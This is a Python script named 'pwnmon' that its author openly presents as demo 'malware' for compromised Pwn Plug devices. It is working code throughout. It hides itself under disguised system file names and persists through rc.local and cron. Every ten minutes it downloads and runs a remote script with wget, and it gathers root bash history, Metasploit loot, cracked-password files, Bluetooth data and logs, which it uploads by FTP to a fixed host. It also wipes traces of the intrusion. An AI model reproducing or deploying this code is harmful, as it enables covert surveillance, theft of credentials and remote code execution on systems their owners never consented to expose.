#!/usr/bin/python
#
# pwnmon - Information gathering "malware" for attacker-implanted devices
#          such as the Pwn Plug
# 
#  Gathers snapshots of what's going on with the Pwn Plug and sends it off
#  to a server of your choice. 
#
#  Obviously you'll want to kill the comments, compile to .pyc, and other
#  obfuscations before you deploy to a real target, or better yet, write and 
#  compile something native that can actually hide itself. This is mostly for
#  a demo and wouldn't really hold up against someone who's paying attention.
#
#  ...but then again, who pays attention? Have fun.
#
# Wesley McGrew wesley@mcgrewsecurity.com
#

import sys
import os
import fcntl
import time
import shutil
from ftplib import FTP

# How much time between "snapshots"
sleep_time = 600

# If you're compromising a fleet of these things, you can set this
# unique for each one to tell them apart in your collected data
collection_prefix = 'pwnplug'

# Credentials for where you're stuffing the results of monitoring this 
# Pwn Plug
ftp_host = '192.168.9.187'
ftp_user = 'pwnplug'
ftp_pass = 'password'

# If you want to run some arbitrary code, this grabs from the following
# URL every sleep_time, and runs it
remote_script = 'http://192.168.9.187:8000/ubimount.py'

# Goofy blending-in naming stuff
installed_location = '/usr/sbin/ubifsck'
installed_name = 'ubifsck'
lock_file = '/usr/sbin/ubichksum'
lock_fd = 0

def get_lock():
	global lock_file
	global lock_fd
	try:
		lock_fd = open(lock_file,'w')
		fcntl.flock(lock_fd,fcntl.LOCK_EX|fcntl.LOCK_NB)
	except:
		return False
	return True

def release_lock():
	global lock_fd
	fcntl.flock(lock_fd,fcntl.LOCK_UN)

def install():
	global installed_location
	current_location = os.path.abspath(__file__)
	if (current_location != installed_location):
		shutil.copyfile(current_location,installed_location)
		os.chmod(installed_location,0755)
		return True
	return False

def is_in_rc_local():
	global installed_location
	fp = open('/etc/rc.local','r')
	data = fp.read()
	fp.close()
	if installed_location in data:
		return True
	return False

def insert_into_rc_local(command):
	fp = open('/etc/rc.local','r')
	rc_lines = fp.readlines()
	fp.close()
	if rc_lines[len(rc_lines)-1] == 'exit 0\n':
		rc_lines[len(rc_lines)-1] = command
		rc_lines.append('exit 0\n')
	else:
		rc_lines.append(command)
		rc_lines.append('exit 0\n')
	fp = open('/etc/rc.local','w')
	fp.writelines(rc_lines)
	fp.close()
	return

def setup_persistance():
	global installed_location
	global installed_name
	if not is_in_rc_local():
		insert_into_rc_local(installed_location+' & \n')
	fp = open('/etc/cron.hourly/'+installed_name,'w')
	fp.write('#!/bin/bash\n'+installed_location+' & \n')
	fp.close()
	os.chmod('/etc/cron.hourly/'+installed_name,0755)
	return

def disable_bash_history_clearing():
	if os.path.exists('/root/.bash_logout'):
		os.remove('/root/.bash_logout')
	return

def make_collection_dir():
	collection_dirname = '/tmp/%s_%i' % (collection_prefix,int(time.time()))
	try:
		os.mkdir(collection_dirname)
	except:
		None
	return collection_dirname

def compress_collection(collection_dirname):
	os.chdir('/tmp/')
	basename = os.path.basename(collection_dirname)
	os.system('tar -czvf %s.tar.gz %s > /dev/null 2>&1'%(basename,basename))
	os.system('rm -rf %s'%(basename))
	archive_filename = '/tmp/%s.tar.gz'%(basename)
	return archive_filename

def upload_archive(archive_filename):
	try:
		ftp = FTP(ftp_host,ftp_user,ftp_pass)
		fp = open(archive_filename,'r')
		ftp.storbinary('STOR %s'%(os.path.basename(archive_filename)),fp)
		fp.close()
		ftp.quit()
	except:
		None
	return

def delete_archive(archive_filename):
	os.remove(archive_filename)
	return

def run_remote_script():
	try:
		os.chdir('/tmp/')
		os.system('wget %s > /dev/null 2>&1'%(remote_script))
		os.chmod(os.path.basename(remote_script),0755)
		os.system('./%s'%(os.path.basename(remote_script)))
		os.system('rm %s'%(os.path.basename(remote_script)))
	except:
		None
	return

def get_process_list(collection_dirname):
	os.system('ps -AF f > %s/processes.txt'%(collection_dirname))
	return

def get_root_bash_history(collection_dirname):
	os.system('cp /root/.bash_history %s/bash_history.txt > /dev/null 2>&1'%(collection_dirname))
	return

def get_file_listing(collection_dirname):
	os.system('find / > %s/file_listing.txt 2>&1'%(collection_dirname))
	return

def get_interfaces(collection_dirname):
	os.system('ifconfig -a > %s/interfaces.txt 2>&1'%(collection_dirname))
	return

def get_netstat(collection_dirname):
	os.system('netstat -anp > %s/netstat.txt 2>&1'%(collection_dirname))
	return

def get_logs(collection_dirname):
	try:
		os.mkdir('%s/var_log'%(collection_dirname))
		os.system('cp -a /var/log/* %s/var_log/ > /dev/null 2>&1'%(collection_dirname))
		
		os.mkdir('%s/root_log'%(collection_dirname))
		os.system('cp /root/.fishsrv.pl %s/root_log/fishsrv.pl.txt > /dev/null 2>&1'%(collection_dirname))	
		
		os.mkdir('%s/msf_log'%(collection_dirname))
		os.system('cp /root/.msf*/history %s/msf_log/ > /dev/null 2>&1'%(collection_dirname))
		os.system('cp -a /root/.msf*/loot %s/msf_log/ > /dev/null 2>&1'%(collection_dirname))
		os.system('cp -a /root/.msf*/logs %s/msf_log/ > /dev/null 2>&1'%(collection_dirname))
		
		os.mkdir('%s/john_log'%(collection_dirname))
		os.system('cp /root/.john/* %s/john_log/ > /dev/null 2>&1'%(collection_dirname))

		os.system('cp /var/pwnplug/plugui/webrick.log %s/plugui_log.txt > /dev/null 2>&1'%(collection_dirname))
		
		os.system('cp /var/pwnplug/scripts/SSH_receiver_autoconfig.sh %s/ssh_receiver.txt > /dev/null 2>&1'%(collection_dirname))
		
		os.mkdir('%s/bluetooth'%(collection_dirname))
		os.system('cp -a /var/lib/bluetooth/* %s/bluetooth/ > /dev/null 2>&1'%(collection_dirname))
	except:
		None
	return

def cleanup_exploit():
	os.system('cat /dev/null > /var/log/recon/http.log')
	os.system('cat /dev/null > /var/pwnplug/script_configs/reverse_ssh_config')
	fp = open('/etc/crontab','r')
	lines = fp.readlines()
	fp.close()
	fp = open('/etc/crontab','w')
	for line in lines:
		if 'reverse_ssh' in line:
			continue
		else:
			fp.write(line)
	fp.close()
	return

def main():
	if not get_lock():
		return

	if os.path.basename(os.path.abspath(__file__)) == 'ubi.py':
		cleanup_exploit()

	installed = install()
	setup_persistance()
	if installed:
		release_lock()
		return
	
	while True:
		disable_bash_history_clearing()
		run_remote_script()
		
		collection_dirname = make_collection_dir()

		# Build collection
		get_process_list(collection_dirname)
		get_root_bash_history(collection_dirname)
		get_file_listing(collection_dirname)
		get_interfaces(collection_dirname)
		get_netstat(collection_dirname)
		get_logs(collection_dirname)

		archive_filename = compress_collection(collection_dirname)
		upload_archive(archive_filename)
		delete_archive(archive_filename)
		
		time.sleep(sleep_time)

	release_lock()	
	return

if __name__ == "__main__":
	main()

